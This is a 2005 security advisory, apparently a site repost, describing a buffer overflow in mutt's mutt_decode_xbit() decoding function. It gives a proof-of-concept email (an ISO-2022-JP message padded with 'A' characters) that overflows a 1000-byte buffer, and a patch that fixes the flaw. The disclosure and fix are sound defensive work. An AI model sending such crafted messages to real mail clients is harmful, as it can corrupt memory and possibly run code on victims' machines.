|
mutt mutt_decode_xbit() Buffer Overflow |
|
|
|
|
Saturday, 10 September 2005 |
Summary
"Mutt is a small but very powerful text-based mail client for UNIX operating systems."
By sending a maliciously crafted email to the mutt program an attacker can cause the program to execute arbitrary code.
Credit:
The information has been provided by Peter Valchev ,
Frank Denis.
Details
The problem is in the mutt attachment/encoding/decoding functions, specifically handler.c:mutt_decode_xbit() and the buffer bufi[BUFI_SIZE].
The variable l is used as a counter to reference a position in the buffer and under certain circumstances its value can be manipulated and becomes much larger than the size of this buffer, thus overwriting other memory with many possible consequences.
This counter should never exceed the size and I believe the logic in the convert_to_state() function is supposed to reset it to 0, however there is a flaw - There are other functions affected in the same way due to copy/paste, such as mutt_decode_uuencoded().
Proof of Concept :
Mutt buffer overflow POC.
Discovered by Frank Denis <
This email address is being protected from spam bots, you need Javascript enabled to view it
>
-- snip snip --
From
This email address is being protected from spam bots, you need Javascript enabled to view it
Tue Jul 12 20:23:31 2005
Date: Tue, 12 Jul 2005 19:33:42 +0900
From:
This email address is being protected from spam bots, you need Javascript enabled to view it
Subject: TEST
To:
This email address is being protected from spam bots, you need Javascript enabled to view it
Content-type: text/plain; charset=ISO-2022-JP
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-- snip snip --
Proof of Concept:
The proof of concept can be found at: http://sightly.net/peter/tmp/mutt-bug.
The last message causes data to be written to addresses bufi[~1300] and above, when the size is 1000 (BUFI_SIZE) - this can easily be seen by monitoring the counter from gdb or adding printfs. Since this and other such experiments cause the propolice canary to get damaged (being right next to the return address), it seems very likely for this to be exploitable, except on system such as OpenBSD that include ProPolice by default.
Possible Fix:
--- handler.c.orig Tue Mar 26 02:49:51 2002
+++ handler.c Wed Aug 10 16:55:02 2005
@@ -95,7 +95,7 @@ static void convert_to_state(iconv_t cd,
return;
}
- if (cd == (iconv_t)(-1))
+ if (cd == (iconv_t)(-1) || *l >= BUFI_SIZE)
{
state_prefix_put (bufi, *l, s);
*l = 0;
|